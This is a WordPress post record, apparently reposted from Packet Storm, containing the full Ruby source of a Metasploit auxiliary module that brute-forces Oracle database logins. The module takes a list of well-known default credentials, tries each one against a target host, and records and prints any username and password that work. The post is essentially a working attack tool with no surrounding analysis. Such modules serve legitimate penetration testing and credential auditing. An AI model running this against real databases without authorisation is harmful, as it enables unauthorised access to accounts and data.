{"id":59332,"date":"2024-09-01T03:00:20","date_gmt":"2024-09-01T00:00:20","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/180937\/admin-oracle-oracle_login.rb.txt"},"modified":"2024-09-01T03:00:20","modified_gmt":"2024-09-01T00:00:20","slug":"oracle-account-discovery","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/oracle-account-discovery\/","title":{"rendered":"Oracle Account Discovery"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>require &#8216;csv&#8217;<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::ORACLE<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Oracle Account Discovery&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module uses a list of well known default authentication credentials<br \/>to discover easily guessed accounts.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [ &#8216;MC&#8217; ],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;URL&#8217;, &#8216;http:\/\/www.petefinnigan.com\/default\/oracle_default_passwords.csv&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/fulldisclosure\/2009\/Oct\/261&#8217; ],<br \/>],<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2008-11-20&#8217;))<\/p>\n<p>register_options(<br \/>[<br \/>OptPath.new(&#8216;CSVFILE&#8217;, [ false, &#8216;The file that contains a list of default accounts.&#8217;, File.join(Msf::Config.install_root, &#8216;data&#8217;, &#8216;wordlists&#8217;, &#8216;oracle_default_passwords.csv&#8217;)]),<br \/>])<\/p>\n<p>deregister_options(&#8216;DBUSER&#8217;,&#8217;DBPASS&#8217;)<\/p>\n<p>end<\/p>\n<p>def report_cred(opts)<br \/>service_data = {<br \/>address: opts[:ip],<br \/>port: opts[:port],<br \/>service_name: opts[:service_name],<br \/>protocol: &#8216;tcp&#8217;,<br \/>workspace_id: myworkspace_id<br \/>}<\/p>\n<p>credential_data = {<br \/>origin_type: :service,<br \/>module_fullname: fullname,<br \/>username: opts[:user],<br \/>private_data: opts[:password],<br \/>private_type: :password<br \/>}.merge(service_data)<\/p>\n<p>login_data = {<br \/>last_attempted_at: Time.now,<br \/>core: create_credential(credential_data),<br \/>status: Metasploit::Model::Login::Status::SUCCESSFUL<br \/>}.merge(service_data)<\/p>\n<p>create_credential_login(login_data)<br \/>end<\/p>\n<p>def run<br \/>return if not check_dependencies<\/p>\n<p>list = datastore[&#8216;CSVFILE&#8217;]\n<p>print_status(&#8220;Starting brute force on #{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]}&#8230;&#8221;)<\/p>\n<p>fd = CSV.foreach(list) do |brute|<br \/>datastore[&#8216;DBUSER&#8217;] = brute[2].downcase<br \/>datastore[&#8216;DBPASS&#8217;] = brute[3].downcase<\/p>\n<p>begin<br \/>connect<br \/>disconnect<br \/>rescue ::OCIError =&gt; e<br \/>if e.to_s =~ \/^ORA-12170:\\s\/<br \/>print_error(&#8220;#{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]} Connection timed out&#8221;)<br \/>break<br \/>else<br \/>vprint_error(&#8220;#{datastore[&#8216;RHOST&#8217;]}:#{datastore[&#8216;RPORT&#8217;]} &#8211; LOGIN FAILED: #{datastore[&#8216;DBUSER&#8217;]}: #{e.to_s})&#8221;)<br \/>end<br \/>else<br \/>report_cred(<br \/>ip: datastore[&#8216;RHOST&#8217;],<br \/>port: datastore[&#8216;RPORT&#8217;],<br \/>service_name: &#8216;oracle&#8217;,<br \/>user: &#8220;#{datastore[&#8216;SID&#8217;]}\/#{datastore[&#8216;DBUSER&#8217;]}&#8221;,<br \/>password: datastore[&#8216;DBPASS&#8217;])<br \/>print_good(&#8220;Found user\/pass of: #{datastore[&#8216;DBUSER&#8217;]}\/#{datastore[&#8216;DBPASS&#8217;]} on #{datastore[&#8216;RHOST&#8217;]} with sid #{datastore[&#8216;SID&#8217;]}&#8221;)<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## require &#8216;csv&#8217; class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Reportinclude Msf::Exploit::ORACLE def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Oracle Account Discovery&#8217;,&#8216;Description&#8217; =&gt; %q{This module uses a list of well known default authentication credentialsto discover easily guessed accounts.},&#8216;Author&#8217; =&gt; [ &#8216;MC&#8217; ],&#8216;License&#8217; =&gt; MSF_LICENSE,&#8216;References&#8217; =&gt;[[ &#8216;URL&#8217;, &#8216;http:\/\/www.petefinnigan.com\/default\/oracle_default_passwords.csv&#8217; ],[ &#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/fulldisclosure\/2009\/Oct\/261&#8217; ],],&#8216;DisclosureDate&#8217; =&gt; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59332","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59332","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59332"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59332\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59332"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59332"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59332"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}